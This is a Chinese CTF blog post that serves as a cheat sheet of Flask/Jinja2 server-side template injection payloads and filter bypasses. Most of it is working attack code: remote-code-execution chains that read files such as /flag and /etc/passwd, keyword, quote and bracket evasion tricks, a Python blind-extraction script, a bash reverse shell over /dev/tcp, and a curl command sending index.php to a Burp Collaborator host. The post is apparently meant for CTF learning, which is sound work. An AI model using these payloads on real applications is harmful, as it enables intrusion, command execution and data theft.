Diggid's Blog

SSTI_flask骚姿势总结

字数统计: 2.4k阅读时长: 11 min
2020/12/22 Share

0x00 前言

打了huaweictf,对于我这个小菜鸡来说,感觉题目质量还是不错的。学到了一些骚姿势,借此总结一下SSTI的bypass方法。备忘,速查。

0x01 骚姿势

以下骚姿势大部分以这个payload为例,根据不同情况来更换部分地方

1
{{"".__class__.__mro__[-1].__subclasses__()[71].__init__.__globals__.os.popen("cat /flag").read()}}

拼接

适用场景:过滤. _ 关键字(这里的_还是会直接出现,能够绕过具体还是跟waf的过滤方式有关)

这个老生畅谈了,利用python的字符串特性,可以拼接,可以用+,也可以直接拼接

1
2
3
().__class__
()["__cl""ass__"]
()["__cl"+"ass__"]

以上是等价的

编码

适用场景:过滤关_ 关键字 关键字符(有一些waf比较狠,关键字符都给你扬了,因此拼接的方法就不管用了,可以结合编码一起用)

这里的编码方式有两种类型,一种是利用内置函数进行编码,一种是十六进制或八进制编码(和命令注入的编码方式一样)

内置函数

1
2
().__class__
()["X19jbGFzc19f".decode('base64')]

进制编码

这个方法比较好用,但凡其过滤了关键字或字符,那我们就让数字编码代替字母就好了

1
2
3
().__class__
()["\x5f\x5fcl\x61""ss\x5f\x5f"] 十六进制
()["\137\137\143\154\141\163\163\137\137"] 八进制

过滤中括号

想一下我们在何处用了中括号,就是在数组或对象获取元素或属性时用了,我们用一下方法来代替中括号。

__getitem__(index/name)

元组、数组、字典

1
2
"".__class__.__mro__[2]
"".__class__.__mro__.__getitem__(2)

pop(index)

仅数组可用,通常以索引使用

1
2
"".__class__.__mro__[2]
"".__class__.__mro__.pop(2)

get(name)

仅字典,取出字典的某个属性。这个通常搭配下面的|attr

|attr(name)

过滤器,用于取出对象的某个属性或方法。比较万能,在构造链中,通过name取出某个属性或方法。

1
()|attr("__class__")|attr("__base__")

元组和数组(都是对象)通过索引获取元素,因此这种方法不适用;且无法取出字典的值,如

1
()|attr("__class__")|....|attr("__globals__")|attr("os")

由于__globals__返回的是字典,因此在模板渲染时会出错,可以先取出get,再取值

1
()|attr("__class__")|....|attr("__globals__")|attr("get")|attr("os")

以上方法并不是独立的,组合起来效果更佳。

过滤引号

过滤引号我们无法在最后放我们RCE的payload,因此需要绕过。

可以使用chr()函数进行绕过。但前提是关键字未过滤,如果过滤了关键字,我们需要用其他办法来找到chr()函数。

1
2
3
4
5
6
7
1.找chr()函数
{%set
chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr
%}
2.拼接
().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read()
}}

下面介绍的request对象适用于既过滤了引号又过滤关键字的情况。

request对象

request对象用于获取http请求中的各种字段属性,因此我们可以通过request对象外带参数的方法来绕过waf。常用的request对象

  • request.values:get或post。可以当做两个分立的ImmutableMultiDict使用,因为是GET方法的时候并不能额外使用POST正文的数据,而是POST方法的时候也不能url传参,因此其实就是get或post方法的替身
1
CombinedMultiDict([ImmutableMultiDict([('search', u'{{(request.values)}}')]), ImmutableMultiDict([])])
  • request.args :get
1
ImmutableMultiDict([('search', u'{{(request.args)}}')])
  • request.cookies:cookies
1
ImmutableMultiDict([('a', u'2'), ('b', u'1')]) //这里传入Cookie: a=1; b=2
  • request.form:表单信息。不常用
  • request.headers:头部。不常用

对于上面的ImmutableMultiDict类型,直接理解成字典即可,可以直接取值request.args.name或使用items()等方法

适用条件:过滤" ' 关键字

举个例子

1
?code={{()|attr(request.args.a)}}&a=__class__

过滤.

换成中括号

1
()["__class__"]

|attr()

1
()|attr("__class__")

过滤双下划线

  • request对象参数外带
  • 编码,前提是在引号中

过滤空格

  • %0a

  • 引号中编码

过滤{{

可以采用{%..%}来构造,{%..%}该模板主要用于控制语句和赋值语句,还有print。

1.print

1
{%print payload%}

2.二分盲注

这里和sql二分盲注的原理类似。

1
2
3
{%if payload>'f'%}1{%endif%}

{%if (().__class__.__mro__[-1].__subclasses__()[71].__init__.__globals__.os.popen('cat /xx').read()>'f'%}1{%endif%}

附带一个脚本二分盲注的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
import time
url = "http://67686197-9fe7-4c91-a4b5-a97662eb9994.node3.buuoj.cn/" ##换成相应的
result = ""
print('[+]start...')
for i in range(1,500): # 如果500不够的话也要换
l = 32
r = 127
mid = (l + r) >> 1
while(l < r):
payload = '''{%if (().__class__.__mro__[-1].__subclasses__()
[71].__init__.__globals__.os.popen('cat /flag').read()>'%s'%}1{%endif%}''' % (result+chr(mid))
data = {
"code" : payload
}
print(payload)
html = requests.post(url,data=data) # html = requests.post(url,data=exp)
#print(html.text)
if "1" in html.text:
l = mid + 1
else:
r = mid
mid = (l + r) >> 1
t = chr(mid)
#time.sleep(1)
if t == ' ': break
result = result + t
print(str(i)+': '+result)
print(result)
print('[+]done')

过滤器

这里的过滤器指的是模板中内置的过滤器,其功能相当于方法,用于字符串等数据的操作。

基本用法:

1
变量|过滤器 

前面()|attr(name)的用法就是过滤器。常用的其他过滤器还有:

  • first:返回一个序列的第一个元素。不可用于数字
  • last:返回一个序列的最后一个元素。不可用于数字
  • **join(“x”)**:以x作为连接符来连接数组或字典。缺省默认为空字符
1
{{("a","b")|join()}} //结果为ab
  • int:将值转换为int类型。
  • float:将值转换为float类型。
  • lower:将字符串转换为小写。
  • upper:将字符串转换为小写。对于lower和upper,还能将数字转为字符串
1
2
{{1000|lower|first}}//输出1
{{1000|first}} //报错
  • replace(old,new):替换old为new
  • truncate(length):截取length长度的字符串,其先以单词作为分割,且省略的部分会用...代替。截取的长度包括...这三个字符,因此,length的取值必须大于等于3。这个用法比较迷,暂留。
  • string:将变量转换为字符串
  • trim:截取字符串前面和后面的空白字符

用好过滤器,有时候会有意向不到的效果。比如我想bypass点号,那么我可以用truncate来尝试构造一个点号。

1
10000000|lower|truncate(3)|first

这样我们不需要出|和()的任何附加字符就可以得到点号

无回显处理

1.反弹shell

就是把payload中的命令执行语句换成反弹shell即可,用vps来接收

1
''.__class__.__mro__[2].__subclasses__()[72].__init__.__globals__['os'].system('bash -i >& /dev/tcp/ip/port 0>1&')

2.curl转发文件到bp

这个还没碰到过,先学习一下。命令更换如下:

1
curl -X POST -F xx=@index.php http://ysufxr7fbv9p3gjkfgpqexmdu40uoj.burpcollaborator.net
  • -X:指定request

  • -F:模拟http表单提交数据。

  • @:表示取出index.php的内容作为xx的value

  • 后面的地址是BP的Collaborator Client,获取如下

1
2
3
打开Burp主界面 -->菜单(Burp)-->Burp Collaboraor Client -- > 点击 Copy to Clipboard

粘贴出来大概这样:XXXXXXXXXXXXXXXXXXXXXX.burpcollaborator.net

3.盲注

盲注上面已经说过了。

#0x02 组合过滤

0x03 payload汇总

payload主要是记住几个常见的模块和类以及内建函数:os、sys、subprocess、__builtins__、linechache(引用了os模块)、catch_warnings

常用的类

位置根据实际情况确定。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
(29,<type 'builtin_function_or_method'> )
(40, <type 'file'>)
(59, <class 'warnings.WarningMessage'>, '__builtins__')
(59, <class 'warnings.WarningMessage'>, 'linechache')
(60, <class 'warnings.catch_warnings'>, '__builtins__')
(60, <class 'warnings.catch_warnings'>, 'linechache')
(61, <class '_weakrefset._IterationGuard'>, '__builtins__')
(62, <class '_weakrefset.WeakSet'>, '__builtins__')
(72, <class 'site._Printer'>, '__builtins__')
(72, <class 'site._Printer'>, 'os')
(77, <class 'site.Quitter'>, '__builtins__')
(77, <class 'site.Quitter'>, 'os')
(78, <class 'codecs.IncrementalEncoder'>, '__builtins__')
(79, <class 'codecs.IncrementalDecoder'>, '__builtins__')

在做题的时候如果嫌一个个试太麻烦,还可以尝试直接利用控制语句来帮我们找到相应的类并执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{% for c in ().__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

{%for a in ().__class__.base__.subclasses__()%}
{%if a.__name__ }
{%endfor%}

常用的payload

以下为基础payload,实际中需要根据类具有的模块以及bypass方法来更改payload。

1
2
3
4
5
6
7
{{"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')}}

{{"".__class__.__mro__[-1].__subclasses__()[71].__init__.__globals__.os.popen("cat /flag").read()}}

{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__getattribute__('func_globals').linecache.os.popen('ls').read()}}

{{"".__class__.__mro__[-1].__subclasses__()[40](filename).read()}}

等价形式

1
2
3
func_globals == __globals__

__getattribute__('func_globals') == ['func_globals'] == .func_globals
CATALOG
  1. 1. 0x00 前言
  2. 2. 0x01 骚姿势
    1. 2.1. 拼接
    2. 2.2. 编码
    3. 2.3. 过滤中括号
    4. 2.4. 过滤引号
    5. 2.5. request对象
    6. 2.6. 过滤.
    7. 2.7. 过滤双下划线
    8. 2.8. 过滤空格
    9. 2.9. 过滤&#123;&#123;
    10. 2.10. 过滤器
    11. 2.11. 无回显处理
  3. 3. 0x03 payload汇总
    1. 3.1. 常用的类
    2. 3.2. 常用的payload
    3. 3.3. 等价形式